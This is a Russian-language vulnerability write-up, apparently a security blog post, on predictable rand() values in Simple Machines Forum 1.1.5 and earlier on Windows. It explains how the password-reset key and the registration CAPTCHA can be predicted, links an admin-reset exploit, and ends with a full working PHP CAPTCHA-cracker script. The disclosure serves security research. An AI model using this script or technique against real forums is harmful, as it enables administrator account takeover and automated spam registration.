Обнаружил уязвимость в Simple Machines Forum <= 1.1.5, связанную с предсказуемостью кода подтверждения для смены пароля, а также CAPTCHA в модуле регистрации. Оба механизма используют в своем алгоритме функцию rand(), о недостатках которой я писал в прошлой статье.
Сброс пароля администратора
SMF выявляет случайное число, сгенерированное с помощью rand(), в виде md5-хэша в самой форме восстановления пароля (hidden параметр sc):
<?php $_SESSION['rand_code'] = md5(session_id() . rand()); $sc = $_SESSION['rand_code']; ?>
Активационный ключ генерируется следующим образом:
<?php $password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10); ?>
Так как максимальное значение случайного числа на win32 является 32767 и идентификатор сессии известен, то перебором md5-хэша можно получить случайное число. В win32 любое число, сгенерированное с помощью rand(), становится сидом для следующего числа, таким образом можно предугадать все последующие числа и вычислить активационный ключ.
http://milw0rm.com/exploits/6392
Вычисление кода CAPTCHA
SMF выявляет случайное число в модуле регистрации (ссылки на изображения с кодом CAPTCHA):
<?php $context['verificiation_image_href'] = $scripturl . '?action=verificationcode;rand=' . md5(rand()); ?>
Сам код CAPTCHA генерируется следующим образом:
<?php $character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z')); // Generate a new code. $_SESSION['visual_verification_code'] = ''; for ($i = 0; $i < 5; $i++) $_SESSION['visual_verification_code'] .= $character_range[array_rand($character_range)]; ?>
Функция array_rand() использует внутренний вызов rand(), поэтому определив перебором предыдущее случайное число в ссылках, можно вычислить сам код (опять-таки актуально только для win32).
<?php /** * Simple Machines Forum <= 1.1.5 CAPTCHA cracker (win32) * by Raz0r (http://Raz0r.name/) */ $url = "http://localhost/smf/"; $html = file_get_contents("{$url}index.php?action=register"); $out=array(); preg_match("@rand=([0-9a-f]+)@i",$html,$out); if(isset($out[1])){ $rand = bfmd5($out[1]); srand($rand); $character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z')); for ($i = 0; $i < 5; $i++) { echo $character_range[array_rand($character_range)]; } } function bfmd5($md5) { for($i=0;$i<=32767;$i++){ if($md5 == md5($i)) { return $i; } } return false; } ?>
Leave a Reply